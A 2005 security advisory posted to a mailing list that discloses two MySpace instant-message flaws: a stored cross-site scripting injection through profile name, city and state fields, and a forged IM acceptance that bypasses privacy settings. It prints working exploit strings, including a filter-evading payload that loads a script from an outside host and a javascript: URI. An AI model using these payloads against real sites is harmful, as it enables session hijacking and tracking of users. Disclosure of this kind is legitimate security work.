<<< Date Index >>>     <<< Thread Index >>>

Critical Myspace.com Vulnerabilites



(Is there a rule I am breaking in the scope of this advisory??)
http://www.silent-products.com/advisory12.5.05.txt

Critical Myspace Vulnerabilities Leave Every Active Account Exploitable
Reported December 5th, 2005

Introduction
------------
In this advisory we will be detailing some very recent holes in the Myspace.com 
web-application.  If you are not
familiar with Myspace there is much information about the internet phenomenon 
on the web that will do better
justice at describing what it is than I can here.  Both vulnerabilities lie 
within the Instant Message (IM) feature
from within the site.  Proper manipulation of both exploits leaves every active 
account on Myspace potential targets.  As displayed
by a quite harmless worm Sammy - the seriousness of an effective Myspace hack 
that would permit nearly unrestricted
access to all active accounts should be quite well understood.  With this we 
will be just detailing the vulnerabilities
and how one might exploit the vulnerabilities without imbedding much of the 
politics and opinions that could go with it.
At the time of this write up one of the exploits has been patched by Myspace 
(the first - and more serious - one) whereas
no action has been taken to fix the other reported vulnerability.  The 
information is to be used to derive the seriousness
of the issue and to add to the general information base of web-application 
security holes for developer reference.

Vulnerability 1: XSS/Script Injection Vulnerability in MySpace IM Webapplication
--------------------------------------------------------------------------------
Upon an IM request - a javascript command is appended to every requested page 
on myspace.com that will cause a 
prompt to appear asking if the user would wish the accept/reject the IM request 
from the other user.  The appended 
script appears at the bottom of the HTML and is much like the following:
<script language="javascript">
        <!--                            
        window.parent.up_launchIC( '123456', '123456', 'a', '1', 
'http:\/\/profile.myspace.com\/index.cfm?fuseaction=user.viewprofile&friendID=123456&showIM=false',
 'F', '21', 'a, a', 'http://x.myspace.com/images/no_pic.gif' );
        //-->
</script>

The function up_launchIC comes from the following script which is included on 
every page on Myspace:
http://x.myspace.com/js/functions.js

The arguments passed to the function up_launchIC(); allows the script to 
generate a sort of popup that notifies the user
of the incoming IM request, who it's from, and allows them to accept/reject the 
request.  Three of these arguments can
be manipulated by the target and are not properly filtered (Display Name, City, 
and State).  An attacker can break out of
the function using the unfiltered ' character.  By properly crafting a 
malicious Username/City/State combination the attacker
can force script execution on the target's browser.

This exploit can be automated and only requires that the user be active on 
myspace.com and logged in - in order for
the exploit to work.  The target is not required to visit any special page for 
this exploit to work since the accept/reject 
prompt is injected into every page on the myspace domain.  This makes this 
exploit critical.

Instant Messaging can be disabled and hampering the effects of this exploit.  
However, due to another vulnerability
in myspace.com that circumvents any of the IM settings (will be outlined in 
Vulnerability 2), a proper exploit cannot
be protected against by the client.

There are a number of exploit restrictions that make the exploit more difficult 
to develop - but not impossible.  The first
is size.  There are a total of 150 characters that can be injected and also the 
exploit must clean up the javascript it
broke out of to not cause any errors.  This amount is plenty to inject a remote 
script which can be of any length using
<script src=remote script.js>.  The second limitation is filtering.  There are 
active filters that monitor the content
placed in the fields (filtering out <script etc.).  For our needs we need only 
to circumvent the filters on <script which
can be done using document.write('<sc','ript'); which breaks up the filtered 
word.  Another filtering limitation applies to
only the name field in which < or > cannot be used.  This is not fatal to the 
exploit - the developer of the exploit just
needs to be aware of such.

The following exploit will cause a script to be injected from 
http://a.bcde.net/fg/h.js.  Additionally it will call the
up_clearICNotify function which clears the prompt (passing the attacker's 
Friend ID) so the exploit executes without any
notification to the target.

[Exploit For Vulnerability #1]
Create an account with the following information in the account display fields 
and then request an IM with a user:
NAME/CITY/STATE:
',1);up_clearICNotify('12345678');var x='.bcde';('
');document.write('<s','cript src=http://a',x);(''
'');document.write('.net/fg/h.js></s','cript>');('

This vulnerability is patched by filtering the ' character (the ' character is 
replaced by .. in Myspace).

Vulnerability 2: Force IM Request
---------------------------------
The IM application doesn't handle the send request function correctly.  
Normally, if a user was to try to send an IM request
to someone with the feature disabled they will receive an error message stating 
such.  However, if the user was to send a message
to Myspace as if they were ACCEPTING a request supposedly requested by the 
other party - this isn't verified and the IM request
goes through.  This forged acceptance can be exploited by simple means of 
calling the up_launchIC function locally and accepting
the request.

[Exploit For Vulnerability #2]
While logged into your Myspace account copy+paste the following into your URI 
field (works for IE and Firefox) and hit enter:
javascript:window.parent.up_launchIC( '[ATTACKER FriendID]', '[TARGET 
FriendID]', 'amanda', '1', 
'http:\/\/www.myspace.com\/index.cfm?fuseaction=user.viewProfile&friendID=12999703&Mytoken=20050410024025&showIM=false',
 'M', '17', ', ', 'http://n00084.myspace.com/00084/36/34/84744363_s.jpg' );
(Replace the [ATTACKER FriendID] with the FriendID of the attacking account and 
[TARGET FriendID] with the FriendID of the target account)

The function for the IM incoming request will be provoked and a prompt will be 
provided to you.  Accept it - and the session will be created
regardless of what privacy settings the target has set for the IM feature.

This vulnerability has still not be addressed by Myspace as of today.

Ramifications:
--------------
With properly exploitation of both exploits a script can be injected onto the 
target within the Myspace domain.  This can allow unsuspected,
unguided session hijacking, convenient grounds for phishing attacks, and also 
user tracking (the exploit can be crafted in such a way that it
appears on every page and reports what the user is doing and where they are 
going within Myspace).  The depth of the combined vulnerabilities
provides much power to the creative exploit writer.  The vulnerability could 
even be waged as a worm much like the Sammy worm, but more effective
in that the vulnerabilities it exploits is far less restricting.  Given the 
general personal nature of Myspace makes this exploit that much more
dangerous.

We hope the informational approach of this write-up allows the readers to draw 
a sober insight on the importance and seriousness of web-application
and social-network security.

Justin Lavoie
Silent Productions
http://www.silent-products.com
silentproducts@xxxxxxxxx